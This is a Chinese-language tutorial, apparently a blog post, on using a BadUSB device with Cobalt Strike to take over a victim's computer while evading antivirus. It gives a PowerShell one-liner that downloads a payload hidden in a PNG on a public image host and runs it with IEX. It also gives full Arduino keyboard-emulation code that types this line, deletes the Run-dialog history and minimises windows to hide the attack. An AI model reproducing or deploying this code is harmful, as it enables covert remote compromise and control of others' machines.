BadUsb配合Cobalt-Strike免殺上線
前言:
原理簡介:Badusb的原理是將惡意程式碼預置在韌體之中,當受害人插入USB時,就會執行惡意程式碼進行惡意操作。Badusb將惡意程式碼預存在U盤的韌體中,導致PC上的防毒軟體無法應對BadUsb的攻擊。 BadUSB就是通過對U盤的韌體進行逆向重新程式設計,改寫了U盤的作業系統而進行攻擊的。
實現步驟:
1.Cobalt-strike生成Powershell payload.
2.自行從網上找一1920*1080高清桌布,接下來要將木馬免殺進PNG圖片。
免殺工具地址:https://github.com/peewpw/Invoke-PSImage
介紹:Invoke-PSImage使用PowerShell指令碼並將該指令碼的位元組編碼為PNG影像的畫素。 它從Web的檔案中生成一個oneliner來執行。
它可以僅使用有效載荷資料來建立新影像,也可以將有效載荷嵌入到現有影像的最低有效位元組中,以便看起來像實際的圖片。 影像儲存為PNG,並且可以無失真壓縮,而不會影響執行有效載荷的能力,因為資料本身以顏色儲存。 建立新映像時,通常會對常規PowerShell指令碼進行顯著壓縮,通常會生成png,其檔案大小約為原始指令碼的50%。
將生成的Payload.ps1和網上的圖片放在Invoke-PSimage同一目錄下,按下Shift+滑鼠右鍵進入Powershell命令列,輸入如下命令:
Import-Module .\Invoke-PSImage.ps1 Invoke-PSImage -Script .\payload.ps1 -Out haha.png -Image .\1.png -WebClient
會發現生成如下的命令:
當這個語句放入Powershell執行的時候,CS就會上線目標機器,但是不會觸發殺軟,簡單原理就是遠端下載帶有惡意程式碼的圖片,然後進行執行,那麼接下來一步就是將帶有混淆程式碼的圖片上傳到網際網路上。(使用Cobalt-strike的釣魚檔案下載具有時效性,不如圖床穩定)
3.上傳到圖床,目前網際網路上的圖床上傳限制皆為5M,這裡我找了一個比較好的圖床。
上傳完圖片後將原有程式碼進行修改替換,修改後如下:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://www.png8.com/imgs/2021/05/18df3672767f26ef.png"));$o=a Byte[] 4000;(0..7)|%{foreach($x in(0..499)){$p=$g.GetPixel($x,$_);$o[$_*500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))
這樣在Powershell模式下執行就會進行上線
4.接下來就是將惡意程式碼執行的命令燒錄進BadUsb.
使用到的軟體是Arduino IDE,使用的Badusb為淘寶某熱銷。
Badusb的核心邏輯就是模擬鍵盤操作,那麼我們的入侵思路是目標插入Badusb的一段時間內使其失去對電腦的控制許可權,從而給我們足夠是時間讓惡意程式碼執行,從網頁上下載帶有Payload的PNG進行執行。那麼我們的思路可以是這樣的:
#1.插入USB後快取一定時間讓電腦足夠識別 #2.按下Win+r,並且以最小化開啟CMD,並且刪除登錄檔記錄 #3.進入Powershell模式 #4.在Powershell模式下執行惡意程式碼,同時讓目標失去對電腦的控制權 #5.執行完惡意程式碼後按下Win+M,此時所有應用最小化。
對應的arduino程式碼如下,具體可以自己魔改,相應的函式作用不再贅述。
void setup() {//初始化 Keyboard.begin();//開始鍵盤通訊 delay(5000);//延時 Keyboard.press(KEY_LEFT_GUI);//win鍵 delay(500); Keyboard.press('r');//r鍵 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(500); Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1® delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); delay(500); Keyboard.println("Powershell"); Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_RETURN); Keyboard.println("sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead('https://www.png8.com/imgs/2021/05/18df3672767f26ef.png'));$o=a Byte[] 4000;(0..7)|%{foreach($x in(0..499)){$p=$g.GetPixel($x,$_);$o[$_*500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))"); Keyboard.press(KEY_RETURN); delay(10000); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_RETURN); delay(5000); Keyboard.release(KEY_RETURN); Keyboard.println('exit'); Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.press('m'); delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('m'); Keyboard.end();//結束鍵盤通訊 } void loop()//迴圈 { }
①:注意應將連結內的雙引號修改為單引號否則會引起報錯。
②:圖片上傳到圖床一定得是PNG格式,jpg格式會導致無法解析!
5.使用Arduino燒錄程式碼到USB中
選擇Arduino Leonardo 板 以及COM5埠,將程式碼編譯執行後燒錄。
再次插入USB,自動執行並且上線。